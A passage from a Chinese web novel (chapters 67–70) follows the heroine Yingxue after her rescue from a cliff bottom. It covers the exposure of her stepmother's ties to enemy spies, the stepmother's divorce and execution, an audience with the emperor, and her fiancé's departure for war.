老夫人瞧见眼前活生生的映雪，亦是激动万分，赶忙把映雪紧紧搂进怀里，红着眼眶道：“祖母的乖孙女，你受苦了。”映雪轻轻摇了摇头，说道：“祖母，孙女好好的，没有受苦呢，只是让您和父亲担心了。”
接着，二老爷、二夫人、苏璟睿和苏秀蓉也纷纷听到了消息，都匆匆聚集在了荣晖堂。苏璟睿见到映雪安然无恙，心里那块大石头终于落了地，满含歉意地对映雪说道：“三妹妹，都怪二哥无能，没学好本事，只能眼睁睁地看着歹人向你逼近，却无能为力。”
67. 召见
映雪连忙摆手，看着二哥脸上的伤，眼中满是关切，温声道：“二哥切莫如此说，此事怎能怪你？要怪也是怪那心狠手辣欲要刺杀我的人。若不是因为我，二哥也不会受伤，二哥可千万不要自责，不然我也会满心愧疚。”
苏璟睿闻言，咧嘴一笑，露出一口白牙，满不在乎地说道：“我皮糙肉厚的，这点伤算什么。”
二夫人轻哼一声，微微皱起眉头，嗔怪道：“以前叫你好好习武，总是不听，现在也知道自己是三脚猫功夫了吧？”
苏璟睿被母亲这么一说，脸上露出几分尴尬之色，连忙脚底抹油，跑过去与苏景皓同坐一处。
众人含笑不语，屋内的气氛也在瞬间变得轻快起来。
永安侯随后便关切地问起映雪这两日的情况。
于是，映雪便将崖底经历及回来的过程告知众人。
众人得知崖底竟然还生活着一群前朝居民，因为找不到出口，被困在崖底近百年，也是纷纷感叹。
同时，众人又十分庆幸景阳侯世子洞察秋毫、英勇果断。毕竟，谁能想到出口竟如此隐秘，而映雪也确实十分幸运。若不是世子的睿智与果敢，映雪和那群居民或许还不知要在崖底困多久。苏璟皓也顿时对这位未来妹夫充满了好感。
永安侯见映雪神色间透着疲惫，心中了然她这两日必定都没好好休息过，满是疼惜地看着映雪，忙不迭地催促道：“映雪，你这两日定是累坏了，赶紧回映月阁好好休息。”
映雪点头，苏璟皓亲自送了映雪回映月阁。
回到映月阁，又是一顿安抚。
翌日，永安侯刚下朝回府，便听闻景阳侯世子已在府中等候，且有要事找他相商。永安侯脸上多了几分凝重之色，回到书房后，即刻把许牧舟叫了进去。
待许牧舟行完礼，永安侯轻叹一声道：“你可是想问刺客之事？你放心，我定会给映雪一个交代。”说罢，眼神中满是狠厉之意。
许牧舟却摇了摇头，沉声道：“侯爷可知刺客的身份？”
永安侯一脸茫然，看向许牧舟，接着便听许牧舟说道：“是赤焰国混在大乾的奸细。”
永安侯闻言，顿时惊住，手中的茶杯滑落，砸在地上发出“哐当”一声巨响。他满脸难以置信道：“是不是搞错了？那毒妇怎会与奸细有牵连？”
许牧舟沉默良久，而后将此前大夫人在云栖庵救助荣太妃、苏璟皓遭遇惊马之事，还有后续一系列的调查情况，此次映雪被刺杀以及景阳侯府暗中审讯刺客之事，皆巨细无遗地告知了永安侯。
永安侯听闻之后，怒不可遏，气得肝胆欲裂，身子剧烈摇晃，瞬间瘫坐在椅子上。他闭目沉思片刻，待情绪稍稍平复后，沉声道：“如此说来，这次映雪被刺杀，或许还会牵扯到战争？”
许牧舟微微颔首，回应道：“确实如此。所以，侯爷最好尽快向皇上坦诚一切，将大夫人交由朝廷处置，如此方能使侯府从这奸细之事中脱离出来。”
永安侯一想到自己的一双儿女都差点折在那对奸夫□□手上，心中的怒火便熊熊燃烧，恨不得将大夫人碎尸万段。然而，当他又想到映雪眼下还未完全脱离危险，仍被赤焰国的巫师盯着，便觉愁绪如乌云般笼罩心头，瞬间仿佛苍老了许多。
永安侯抬眼看向许牧舟，深深叹息道：“永安侯府无能，未能好好保护映雪。映雪以后的安全，只能托付给景阳侯府了。”
许牧舟郑重回道：“映雪既已是景阳侯府的未来世子妃，那便是景阳侯府之人。她的安全自有景阳侯府全力保护，侯爷尽可放心。待太子将奸细之事查清，映雪自会安全无虞。”
永安侯微微点头，神色间似是放心了不少。
永安侯派了下人，将许牧舟送去了映月阁。许牧舟这还是第一次光明正大地参观映雪的闺房，心中多了几分兴致。映雪轻轻拉着许牧舟的袖子，让他坐了下来，而后亲手倒了杯茶，递向许牧舟，随后问道：“你果真把所有的一切都告知我爹爹了？”许牧舟接过茶水，一饮而尽，柔声道：“你觉得现在还能继续瞒着吗？”映雪面露担忧之色，道：“我怕我爹爹承受不住，这样的事情发生，任谁也难以承受。”接着，她又问道：“那名刺客审问的怎么样了？”许牧舟闻言，神色瞬间凝重起来，深深地看着映雪，缓缓道：“他们的目标是你。”映雪满脸莫名其妙，道：“我当然知道啊，你干嘛说废话？”许牧舟摇摇头，沉声道：“他们受赤焰巫师派遣，目的是斩杀或活捉天命之人。”映雪听得越发糊涂，疑惑道：“你在说什么？这跟我有何关系？”
许牧舟也很是困惑，只得耐心地跟映雪解释道：“那次蝗灾与瘟疫皆与赤焰国脱不了干系，是他们有意为之，妄图引起大乾内乱。然而其后计谋失败，赤焰巫师进行占卜，表明大乾有一位天命之人，或将引领大乾走向辉煌。于是他们便派人查探，恰好对方又受礼部侍郎所托，前来刺杀于你。在调查过程中，竟发现你就是符合巫师口中的天命之人，所以才对你下此狠手。”
映雪闻言，顿时惊慌失措，不懂为何自己竟成了天命之人。许牧舟见映雪被吓住，忙柔声安慰道：“你放心，我已经在你身边多增加了两名暗卫，定会护你周全。”
映雪轻轻摇摇头，紧紧抓住许牧舟的袖子，急切地问道：“你能带我去见澄大师吗？”许牧舟随即点头答应道：“好，等朝廷妥善安排好那群崖底居民，我就带你去。”
映雪同意。
映雪心中正想着也希望朝廷尽快给出对崖底居民的
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安排，就在这时，绿绮急匆匆地跑了过来禀告道：“姑娘，皇上召见您，前厅有公公在等着。”映雪闻言，立刻向许牧舟望去，眼中带着一丝询问。许牧舟微微皱眉，沉声道：“估计是与那群居民有关。你别担心，我陪你一起去。”
说罢，映雪赶忙换了一套郡主制服，随后与许牧舟一同赶往前厅。行至半途，正好与父亲相遇。永安侯神色凝重，表示他也一起去，道：“正有要事要向皇上禀告。”
御书房内，皇上高坐于龙案之后，目光投向刚刚进殿的映雪，眼中流露出赞赏之意。
仪态端庄大方，气质高贵优雅，面容堪称绝色，那一双眼眸清澈而坚定。皇上看着映雪，心中愈发替太子感到可惜。
映雪上前几步，微微垂首，恭敬地行礼道：“臣女参见皇上，皇上万岁万岁万万岁。”许牧舟也紧随其后请安道：“皇伯伯万安，皇伯伯万岁！”皇上微微抬手，示意二人平身。
皇上随即没好气地对许牧舟调侃道：“怎么？还怕朕吓着你的未婚妻不成？”
许牧舟洒脱一笑，回应道：“皇伯伯说笑了，我是担忧她初次面圣，被龙威所慑，以至于失了礼数。”皇上轻哼一声，说道：“朕亲封的慧敏郡主，巾帼不让须眉，你这可真是小瞧她了。”接着，皇上转头向映雪问道：“慧敏郡主，你来说说，见到朕，你可紧张？”
映雪垂首，恭敬地回答道：“陛下，臣女初入宫廷有敬畏但不紧张。陛下圣明仁德，威震四方，得陛下召见是臣女荣幸。陛下亲封臣女为慧敏郡主，臣女唯有以忠诚与才智相报。陛下之威如日月经天、江河行地，令人敬仰，臣女不紧张。”
皇上听后，龙颜大悦，哈哈大笑道：“好！不愧是朕亲封的慧敏郡主，有胆有识，不卑不亢。”说罢，还朝许牧舟微微挑眉，似有几分得意。
随后，皇上饶有兴致地问起映雪崖底的奇遇。在得知那群居民无辜之后，皇上感慨万千。那群人能够在崖底存活至今，且恰逢大乾今世，实乃上天赐予大乾的一份特殊馈赠。
皇上继而又得知映雪与许牧舟在崖底竟还发现了一种极为特殊且质地非常坚硬的矿产，且推测应该可以用于兵器制造之中。闻此消息，皇上激动之情难以言表，心中愈发看中映雪。
随着映雪的回府，皇上的赏赐也如流水般涌入永安侯府。
永安侯见映雪深得皇上重视，心中亦安稳了几分。
永安侯迈着沉重的步子，缓缓朝荣晖堂走去。
待抵达荣晖堂，却觉气氛怪异。永安侯满心诧异，转头问秦嬷嬷道：“老夫人呢？”秦嬷嬷叹了口气，面露迟疑之色，缓缓说道：“老夫人被二姑娘气病了。”话音刚落，永安侯顿时满脸怒火，怒声问道：“究竟怎么回事？”
68. 休妻
映雪刚回到映月阁，绿绮便面露鄙夷之色，过来禀告道：“姑娘，您去皇宫后没多久，豫亲王世子陪着嘉柔郡主前来府上看望您。没想到二姑娘竟设计豫亲王世子，当场被揭穿，把侯府的颜面都丢尽了。”
映雪闻言，亦是气愤不已，怒道：“真是狗改不了吃屎。”说罢，神情凝重地写了一封信，交到绿绮手中，吩咐道：“你将这封信送去豫亲王府。”接着捂住脸道，“我以后怕是没脸再去豫亲王府了。”
话音刚落，又见一丫鬟匆匆来报：“姑娘，二姑娘被侯爷派人送去静善庵落发为尼了。”映雪满脸茫然，有些不可置信。随即吩咐竹清道：“你去查一下，看看二姑娘是不是还犯了别的事。”
这静善庵也是京城有名的庵堂，是以德行和规矩森严闻名，通常是犯了错的女眷被家族送来此处，以赎其罪，修身养性。
若苏映蓉真的在静善庵落发为尼，那此后怕是再无出来的可能了。
还真是应了她自己以前亲口所言，那时她说情愿出家做姑子都不愿意嫁与忠勇侯庶子，如今看来，倒也算是得偿所愿了。
竹清归来，将探得的消息告知映雪。映雪得知苏映蓉竟买凶害她，虽知晓苏映蓉是被大夫人利用，却仍气得浑身发颤。她着实未曾想到苏映蓉如此心狠手辣，心中顿时涌起一股难以言表的愤怒与心寒。一同长大的姐妹竟会为了一己私欲，不惜做出这等伤天害理之事。
也难怪父亲对她惩罚如此严厉，当真是自作孽不可活。
近日，永安侯府可谓极不太平，映雪待在府里哪里也没敢去。先是苏映蓉被送去了以德行和规矩森严著称的静善庵，落发为尼。后又是大夫人被休弃，永安侯直接派人秘密将其送走，对外则宣称送到庄子上让其自生自灭。苏沁雪连母亲的面都没见上，跪求父亲也没令其回心转意。而苏敏皓因日夜哭闹着要母亲，竟生了场病，体弱了许多。
老夫人亦因此一系列变故深受打击，仿佛一下子又苍老了许多。
好在年关将近，侯府上下一片忙碌，为迎接新春做着诸多准备。苏璟皓也从书院放假回来，侯府顿时热闹起来。
苏璟皓给映雪带来消息，表示魏山长要见她，让映雪年后随他去一趟凌云书院。映雪满脸狐疑道：“大哥，难不成你没跟山长说我的身份吗？”苏璟皓没好气地回道：“怎么没说，山长直言就是要见慧敏郡主你。”映雪颇有些尴尬。
永安侯见状，笑道：“不用担心，你就随你大哥去吧，到时多带几个人，说不定有好事呢。”说罢，映雪顿时眼神一亮，心里暗忖，若是山长非要报答，她就让山长同意让二哥去凌云书院读书。
苏璟睿已经再次考核过了，却很可惜没考中，府里原本已打算好，春节后送他上国子监。
映雪此时却有了新的盘算，若能让二哥进入凌云书院，那自然是更好的选择。
随即，映雪心情好转。
皇上将查探朝中奸细之事交予太子与许牧舟负责，此事秘密进行，礼部侍郎吴大人及荣太妃已被监控，许牧舟因查奸细忙碌不堪。好在崖底居民已被妥善安排，皇上在京郊不远处建村，将他们分过去并赐田地，使其正式成为大乾良民。
那日老大爷带着那群居民在宫门前跪谢皇上，感动流涕，声势浩大，京城的人也都知晓了那群人的身份，直呼皇上宽容大度，泽被苍生。连带着映雪再度出了一番风头，甚至有传言，说慧敏郡主是大乾的福星。
映雪约了嘉柔和清平在凝香居见面，永安侯担心映雪安危，让苏璟皓陪同。
出门尚早，抵达凝香居时，店里刚刚开门。
嘉柔和清平没到，映雪径直前往楼上雅间等候。苏璟皓不便久留，起身准备离去，语重心长地对映雪说道：“妹妹，你们就在凝香居待着，不可随意出去。外面可不比府中安全，等嘉柔郡主她们来了，你们尽情闲聊，结束后就在这里等我来接你。”苏璟皓喋喋不休地嘱咐着，眼中满是关切。
映雪听了，颇感无奈，回应道：“大哥，知道了，你放心吧，有竹清在呢。”苏璟皓转头看向竹清，竹清依旧面无表情。他本想再交待竹清一番，嘴巴动了动，最终还是放弃了。
自从映雪从崖底回来，永安侯和苏璟皓等人都知晓了竹清的身份。
苏璟皓走到台阶处，又回头再三叮嘱映雪。
就在转身之际，突然听到“啊”的一声，与正在上楼的清平撞了个满怀。清平身体瞬间失去平衡，眼看就要摔倒，苏璟皓眼疾手快，飞身过去，一把拦腰抱住了清平。
映雪听到叫声，急忙飞奔过来，正好瞧见清平面红耳赤地从苏璟皓怀里挣脱出来。她连忙喊道：“清平！”清平抬头，对着映雪轻轻一笑，示意自己无事。
苏璟皓满心愧疚，微微欠身道：“县主，实在抱歉，刚才是我的错，差点让县主受伤。”清平轻轻摇头，柔声道：“不碍事，刚才我也一时失神，没注意到。”苏璟皓挠挠头，说道：“总之，都是我的错，县主万一有哪里不舒服，一定要让妹妹告诉我。”清平点点头，笑道：“好，那我就不客气了。”
映雪在一旁看着两人，心中涌起一丝异样的感觉。
苏璟皓松了口气，转头对映雪说道：“妹妹，那我先走了，你记得等我来接你。”说罢，又向清平打了招呼，随即离开了凝香居。
待清平上了楼，映雪细细打量清平，清平莫名，问道：“怎么了？”映雪突然问道：“清平，你喜欢何样的男子？”清平闻言，瞪了映雪一眼，道：“你何时竟和嘉柔一样，也这般八卦了？”话音刚落，就从门外传来一道气恼声，“好啊，趁我不在，你们竟偷偷说我的坏话。”
随即，就见身着一袭淡粉色罗裙的嘉柔郡主风风火火地走了进来。她先是嗔怪地看了映雪和平清一眼，然后快步走到两人身边，佯装生气地说道：“你们两个，背着我说我坏话，该当何罪？”映雪和清平对视一眼，都忍不住笑了起来。映雪打趣道：“不敢不敢，求郡主饶了小的。”嘉柔哼了一声，随即也睁着亮晶晶的眼睛朝清平问道：“所以你喜欢何样的男子？快告诉我们！”
清平无语，只得无奈回道：“亲事自有长辈安排，合适就行。”接着又平静地说道：“最近府里在相看太师府的嫡长孙。”话音刚落，映雪与嘉柔异口同声道：“不行。”两人对视，映雪道：“你
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先说。”嘉柔皱眉道：“怎么能合适就行呢。”接着又坚定道：“我以后的夫君，定要全心全意地爱护我，心里只有我，要不然我才不要他呢。”接着又看向映雪，映雪犹豫道：“我听说这位太师府的嫡长孙比较风流，品性一般，这样的人怎能配得上你。”
清平皱眉，疑惑道：“你从哪听说的？我怎么听到的消息，说他洁身自好，品行俱佳呢。”映雪睁眼道：“忘记是从哪里听说的了，但无风不起浪，我们谨慎些总没坏处。”嘉柔也跟着点了点头。
清平深深地看了映雪一眼，见映雪不像是胡说，便沉思片刻后说道：“反正只是相看，那我再观望一段时间。”映雪连连点头，心里暗忖，回府后就派人去查他，定要把对方的底细掀给清平看。
嘉柔和清平向映雪询问起她跳崖之事，听闻崖底的奇妙遭遇，两人皆惊叹不已。嘉柔满心羡慕，嘟囔着说：“话本里的故事都没你的这般精彩，我却连京城都未曾出过呢。”映雪微笑道：“待我们将慈善堂开遍大乾之时，我们便一同去赏遍天下的壮丽河山，那时的经历定然比话本更加精彩。”嘉柔听后，眼中满是向往。
清平想到那群刺客，秀眉微微一蹙，问道：“那群刺客真的是你继母所为吗？”如今永安侯府继室被休之事传得沸沸扬扬，清平自然也有所耳闻。映雪因不便透露奸细之事以免横生枝节，只好尴尬地点头。
嘉柔气愤难平，说道：“她真是心如蛇蝎，以前见她，表面上那般温柔慈爱，竟全是伪装。”接着又问道：“那你那嫡妹如今该如何自处呢？”
映雪微微皱眉，轻声道：“她最近受了打击，闭门不出。只要她不惹事生非，父亲和祖母待她还会如从前一般。”嘉柔还欲说些什么，却被清平打断。清平道：“好了，此事自有永安侯府的长辈们操心，我们就不要多事了。如今慈善堂发展良好，之前的那些难民都已掌握一技之长，能够接活养活自己。我在想，是不是可以计划在别的地方开设凝香居和慈善堂了。”
嘉柔闻言，很是赞同，似乎离踏遍山河更近一步，得意洋洋地说道：“自从办了慈善堂，我父王常常夸赞我呢，把我那庶姐气得不行。她以前就爱装温柔、善良又有孝心，哄得父王开心，等我们把慈善堂开遍大乾，估计她得被气死，哈哈。”
映雪想到嘉柔上辈子被算计的事情，便提醒道：“你可别在她面前太过得意，免得她恼羞成怒狠心算计你，到时候吃亏的还是你。”嘉柔却不以为意，说道：“我才不怕她呢。”清平也附和着说：“你听映雪的准没错，侧妃是什么人你还不清楚吗？”嘉柔闻言，这才将话听了进去。想到母妃都在她手上吃过亏，自然不能小瞧了她。嘉柔撇了撇嘴，气闷地说道：“知道了。”
随后，三人又一同计划起凝香居和慈善堂的事宜。凝香居在大乾仅此一家，且效果显著。各地的富商纷纷赶到京城打探消息，想要在当地售卖。刚好可以趁此机会，挑选几个合适的地方，将慈善堂也一并开办起来。
三人聊的正欢，忽然听见窗外传来一阵急促的马蹄声，待朝窗外望去，清平眉心紧蹙，道，“似乎是八百里加急，朝中可能战事了。”话音刚落。
69. 奸细
门外传来苏璟皓的声音：“妹妹，朝中恐有变故，我们先回府吧。”映雪与清平对视一眼，清平微微点头，说道：“那就都回府吧，下次再约。”嘉柔则有些不高兴，嘟囔着：“才出来一会儿呢，怎么感觉近几个月发生的事情特别多。”映雪心中猜测或许与赤焰有关，暗自祈祷不要有什么大事发生，然而心中却隐隐有些不安。
映雪与大哥先将嘉柔和清平各自送了回去，而后才返回侯府。待询问小厮后，得知父亲仍未下朝。
这让映雪心中的担忧愈发强烈。
好在临近用膳之时，永安侯回了府，并且将映雪和苏璟皓一同叫到了书房。映雪刚踏入书房，便瞧见父亲一脸凝重地坐在椅子上，他们进来都毫无反应，这让她心中不由得“咯噔”一下。她急忙问道：“爹爹，究竟出什么事了？”
此时，永安侯方才抬起头，看向映雪，眼神中似乎多了几分担忧，缓缓说道：“景阳侯受伤了，景阳侯世子近日或许要奔赴战场，接替景阳侯，你近日就待在府里，多制作一些用于疗伤和解毒的药丸，提前为他准备好。”
映雪闻言，顿时心急如焚，正欲询问父亲景阳侯的伤势情况，旁边的大哥已急切问道：“伤得严重吗？是不是战场出事了？”
永安侯语气凝重地说道：“防布图被盗，靖宁城差点失守。景阳侯以一己之躯闯进对方阵营，擒拿住了对方将领，这才保住了城池。但景阳侯受了重伤，目前处于昏迷状态。”
映雪脸色骤变，想起那场面只觉惊险万分。若不是景阳侯在，靖宁城估计已然失守。赤焰之人善战且凶残，若是靖宁城失守，那必定会血流成河。
映雪忆起奸细之事，疑惑道：“朝中不是已经在查奸细了吗？怎么没有防备。”
永安侯闻言，叹息道：“防布图是早前被盗，奸细刚被查出来，景阳侯受伤的消息就传了过来。”
顿了一下，永安侯又接着说道：“此次奸细之事，牵连广泛。近日你们尽量不要外出，留在府中好好温习功课。”最后这句话是对着苏璟皓说的，苏璟皓闻言，脸上露出一抹哭笑不得的神情。
两人自书房走出，苏璟皓见映雪神色黯然，遂出言安慰：“妹妹，你且宽心，景阳侯乃我大乾战神，定不会有事。”映雪微微扯动嘴唇，笑容甚是勉强。她倒并非最为担忧此事，毕竟有灵液在，景阳侯必然会安然无恙。只是，她深知后续战事恐怕会愈发激烈。
一路之上，映雪心思沉重地回到映月阁。见到竹清后，她终究还是忍不住吩咐道：“你去传话给他，待他忙完手头之事，来侯府一趟，我有要事找他。”竹清点头，而后退了下去。
待用过膳后，映雪便一直待在静逸庐炼制药物。所幸，由于崖底那群居民获救，玉佩吸收了充足的善念之力，再度凝聚出五滴灵液。映雪将其中三滴制成药丸，另外两滴则留存备用，以防不时之需。
心中暗自思索，战争一旦爆发，便意味着会有更多的百姓陷入流离失所的困境。如此看来，她们所计划的凝香居和慈善堂扩张之事，必须加快进程了。好在还有清平，清平心思细腻，能力出众。在这件事上，确实无需她过多操心。然而，思绪一转，不由地又想到清平的亲事，眉心便忍不住蹙起。
康郡王府雅澜居，清平正端坐在书桌前，神色格外专注。手中的毛笔犹如灵动的舞者，在纸上肆意挥洒，留下一行行娟秀的字迹。
这时，丫鬟碧萝脚步匆匆地赶来禀告：“县主，郡王妃传您去一趟瑞锦苑。”清平听闻此言，那如弯月般的秀眉轻轻蹙起，稍作思索后，便缓缓放下手中笔墨，净了净手。而后，带着丫鬟碧萝，仪态优雅地前往瑞锦苑。
刚踏入内院，花香扑鼻。
郡王妃坐在雕花椅上，手中捧着账本，微微低头，蛾眉轻蹙。清平莲步轻移，规规矩矩地上前行礼，轻声道，“母妃，您找我？”
郡王妃微微抬头，眼神缓缓在清平脸上扫过，温声问道：“听说今日是永安侯世子送你回府的？”
清平微微垂首，神色平静而坦然，轻声回道：“永安侯世子是为保护映雪，所以陪同在侧，送女儿与嘉柔回府，不过是礼仪之举罢了。”
郡王妃皱眉，又问道，“你觉得永安侯世子为人如何？”
清平沉默片刻，回想起在凝香居分神的那一瞬间，随即有些不自然地道：“永安侯世子为人……谦逊有礼，行事稳重。女儿与他接触甚少，不敢妄言其他。”
郡王妃微微颔首，语重心长的道，“母妃自小把你当作男儿培养，你也没令母妃失望，比你父王的另几个儿子都要优秀，如今母妃最放心不下的就是你的亲事，你要是有什么想法，定要告诉母妃。”
清平闻言，微微垂眸，思索片刻后缓缓道：“女儿目前对此并无想法。婚姻大事，女儿愿交由母妃做主。女儿所求，不过是未来夫婿品性纯良，对女儿怀有敬重之心，如此便足矣。”
郡王妃闻言，心中不由得涌起一阵酸涩。都怪她自己，从小对清平过于严厉。以至于清平从未好好享受过作为贵女理应享受的娇宠。又因她与康郡王的关系影响，致使清平对婚事全然没有普通女儿家的心态。
心中暗暗发誓，自己所历经的那些苦楚，定然不会再让自己这唯一的骨血再度经历。
随即，郡王妃迅速调整了心绪，脸上绽放出一抹温暖的笑容，柔声道：“你的亲事暂且不必着急，母妃自会再仔细观察考量一番。母妃知晓你如今的精力大多放在凝香居和慈善堂上，母妃也全力支持你去做这些有意义之事。不过，你自己也要多多注意身子，切不可过度劳累。”
清平闻言，似是也微微松了口气，轻声道，“多谢母妃关怀，女儿定会注意身子，不叫母妃担忧，也请母妃多多保重自己的身
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子。”
郡王妃微微颔首，慈爱地看着清平，随即道，“好了，你且去忙你的吧。”
清平行礼后缓缓退下，带着丫鬟向雅澜居走去。
很多时候，清平心中都很是羡慕映雪和嘉柔的，只因她们皆有自己的亲哥哥呵护。忆起在凝香居之时，映雪的大哥在映雪耳边反复叮嘱其注意安全，那温柔而关切的模样，让清平听得入了神。
随即又想起后面的场面，清平的耳朵不由得微微泛红，似染上了一层淡淡的绯色。
映雪在映月阁中满心焦灼地等待着许牧舟的消息，可一直等到夜色已深，眼看就要准备入寝了，却仍旧没有任何消息传来。她暗自猜测，想必是奸细之事事关重大，尚未处理完毕。
如此想着，便也不再继续等待，脱了鞋袜上床睡觉。待睡得迷迷糊糊之际，鼻口之间突然传来一阵痒意，映雪心中烦躁不已，当下便挥手过去拍打。随即，耳边传来如清泉般悦耳的笑意。
映雪猛地睁开眼睛，呆呆地看着许牧舟，一时之间竟有些发愣。许牧舟见映雪还未完全清醒，便伸出手指轻轻弹了一下映雪的额头，温声道：“不是找我有要事吗？”映雪闻言，瞬间清醒过来，随即一把将身上的被子往胸前一拉，朝着贵妃塌上的竹韵瞧去，只见竹韵睡得昏沉不醒。她回头狠狠地瞪了一眼许牧舟，嗔怪道：“谁让你大半夜的过来找我。”
许牧舟看着映雪嗔怒的模样，嘴角微微上扬，露出一抹无奈的笑容。他微微凑近映雪，轻声道：“你可知我今日忙得连晚膳都还未用过。一听到暗卫带来你的消息，我便马不停蹄地赶了过来。”说罢，他微微垂下眼眸，脸上露出些许疲惫之色，那模样看上去竟有几分可怜。
映雪看着许牧舟略显憔悴的面容，心中不由得一软，原本的气恼瞬间消散。取而代之的是浓浓的忧色，轻声道：“那怎么行？要不我去给你下碗面吧？”
许牧舟闻言，眼中满是笑意，轻笑出了声，带着几分揶揄道：“没想到我未来娘子既出得厅堂，还下得了厨房，为夫真是有福了。”映雪顿时羞得脸色通红，强作镇定地回道：“不就是下面条吗？我虽没做过，但也吃过，想来也没什么难度。”
许牧舟宠溺地轻刮了下映雪的鼻子，柔声道：“为夫可舍不得娘子为我劳累。”接着，他的目光瞧见桌上的糕点，说道：“吃些糕点就行。”
映雪见许牧舟神色轻松，便关切地问道：“景阳侯没事吧？”许牧舟微微点头，咽下口中的糕点后，缓缓说道：“父亲身边有暗卫保护，暗卫若未传消息过来，想来应该问题不大。”紧接着，他看向映雪，拿着糕点的手微微一顿，神情中满是不舍，轻声道：“我恐怕不能陪你一起过除夕了。”映雪闻言，缓缓点了点头，柔声道：“我爹爹已经跟我说过了。我下午制了些药，你记得都带上。”随后，又追问道：“什么时候出发？”
70. 除夕
许牧舟沉默片刻后，回道：“明日晚上。”映雪听后，心中了然。难怪许牧舟会忙到如此之晚，战场上的局势瞬息万变，她也能够理解。
随即，映雪仔细交待许牧舟关于那三颗含有灵液的药丸之事。许牧舟微微点头，柔声道：“我不在京城之时，你也要好好照顾自己。我在你身边多加了两个暗卫，若是有事要吩咐，直接让竹清去安排。若是有空的话，可以去景阳侯府陪陪我母亲，我母亲见到你，一定会开心。”映雪微微皱眉，道：“你身边更需要暗卫，如今奸细之事也已肃清，我身边有竹清保护便足够了。”许牧舟轻笑出声，伸手摸了摸映雪的头，道：“你怕是不知道你如今在景阳侯府中的地位吧。放心，我心中有数。”
映雪想到玉佩，问道：“是不是景阳侯也知道玉佩的事情了？”许牧舟挑眉一笑，道：“那是自然，不然那些兵书做何解释。老头子不知道有多羡慕我呢，等他回京，定会奖赏于你，你不必跟他客气。”映雪闻言，嗔怪道：“我才没你这般厚脸皮呢。”许牧舟笑出声来，满是宠溺地说道：“娘子脸皮薄，那为夫便去向你讨要。”
映雪故作没听到许牧舟的调侃，随后又开口问道：“那些兵书我可以手抄一份，让我父亲和大哥也看看吗？”许牧舟微微沉吟，而后沉声道：“自然可以。但需记住，不许再外传，这些兵书皆是景阳侯府的传承之物，意义非凡。”
映雪郑重地点头，轻声道：“放心吧，我自知其中轻重。我只挑两本便好，以免以后永安侯府会拖你后腿。”
许牧舟满是宠溺地凝视着映雪，缓缓伸手握住她的手，柔声道：“小傻瓜，只要有你在我身边，我便会永远感激永安侯府生养了你。”
映雪听着许牧舟的话，心中泛起阵阵涟漪，脸颊染上一抹绯红，娇声说道，“好了，你快些回府去吧，我困了，要睡觉。”说罢，随即把脑袋缩进了被子里。
耳边传来许牧舟的调笑声，一会儿便没了声，映雪钻出脑袋，许牧舟已不见踪影，她怅然若失。
因晚睡之故，映雪醒来之时也比平日晚了许多。竹韵亦是比平日晚起，见映雪醒来，忙不迭地端着洗漱水匆匆进来伺候，神色恭敬道：“姑娘，奴婢罪该万死，昨晚竟睡得那般沉。请姑娘责罚。”映雪深知竹韵乃是被许牧舟点了穴，连忙摆手道：“无碍，昨日你陪着我制药，着实累了。不必自责。”
竹韵见映雪并未责怪，心中稍稍安定。待端着盆子出去之际，瞧见桌上的糕点盘子已然空了，满心疑惑道：“姑娘，奴婢分明记得昨晚桌上的糕点还剩不少呢。”映雪闻言，心中不免有些心虚，轻声道：“我昨晚半夜醒来，腹中有些饥饿，便起来吃了那些糕点。”竹韵一听，顿时觉得愧疚至极，“都怪奴婢没照顾好姑娘，竟让姑娘半夜饿醒还无人伺候。”
映雪暗自思忖，幸好昨日晚膳之时，因担忧许牧舟，她毫无胃口，未进多少食物，如今这般说辞倒也还能勉强糊弄过去。
映雪遣丫鬟去荣晖堂传话，今日不过去请安。
刚用过早膳，还未放下碗筷，便有丫鬟匆匆来禀告：“姑娘，四姑娘来了，要求见您。”映雪微愣，随即秀眉紧蹙，她已有好几日未见苏沁雪，上回见面还是大夫人被休那日。思索片刻后，道：“让她上来吧。”丫鬟行礼退下传话。映雪放下碗筷，用帕子净了手。
不一会儿，苏沁雪踏入屋内。映雪乍一看眼前的苏沁雪，险些以为她患了大病。神情憔悴，眼神暗淡，毫无昔日傲气凌人之态。苏沁雪规规矩矩地上前，向映雪行礼，轻声道：“三姐姐安。”神色恭谨。
映雪皱眉道：“直说吧，找我何事？”苏沁雪咬着嘴唇道：“三姐姐，求您看在我们一同长大的情分上，能否饶我母亲一命？若是您向父亲求情，父亲定会听您的。”映雪闻言，冷笑道：“你以为你母亲只是找人刺杀我，见我无恙，便怪我与父亲心狠吧。”苏沁雪默不作声。母亲找人刺杀三姐姐确有不对，可父亲休弃母亲也罢，为何还要送去庄子上，自生自灭，让她连一面都见不到。
映雪瞧见苏沁雪的态度，便知她心中所想，直言道：“我不会去跟父亲求情，也不可能求情，你走吧！”苏沁雪咬紧牙关，忽地向映雪跪下，道：“三姐姐，求您让我见母亲一面！”映雪见状，心中有些复杂，未想到苏沁雪为了大夫人能做到如此地步，对苏沁雪一时也有了些改观。她示意丫鬟出去，待屋内只剩她们两人，朝苏沁雪沉声道：“你可知，你母亲不但找人刺杀我，还与朝廷奸细私通，差点让永安侯府陷入万劫不复之地。”
苏沁雪似受极大打击，跪着的身子瘫倒在地，喃喃道：“这绝不可能，一定是你骗我。你恨母亲找人刺杀你，恨母亲盗取你药方，恨母亲对你虚情假意。”言语越发激烈。映雪讥讽笑道：“呵，我是恨她，恨她不得好死，但你觉得我有必要骗你吗？”接着道：“你不是想见她吗？好，我成全你，你到时好好问问你那母亲，你那弟弟苏敏皓是谁的野种。”话音刚落，苏沁雪双目圆睁，泪水涌出，喊道：“不，母亲不会这样，定是有人陷害。”她瘫坐在地，身子颤抖，绝望与痛苦交织。
映雪也懒得多说，直接传竹清进来，吩咐道：“你去安排，让四姑娘与她母亲见一面。”竹清点头退下。映雪低头对苏沁雪道：“你回院子收拾一下，免得外人见了你，还以为永安侯府欺辱你。”
大夫人被秘密关押，奸细之事已然查清，所有涉及之人皆被判处死刑。苏沁雪恰好还能赶上见她母亲最后一面。
苏沁雪见了大夫人后回到府中，便将自己紧闭于屋内，整整一日未曾出门。
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之后，似是历经沉思终于想通，每日除了去荣晖堂请安，就回落雪院做功课，渐渐恢复了往日状态，老夫人见苏沁雪在经历此番磨难后，变得愈发懂事与稳重，心中也微微松了一口气，只盼着苏沁雪这次是真的成长了起来。
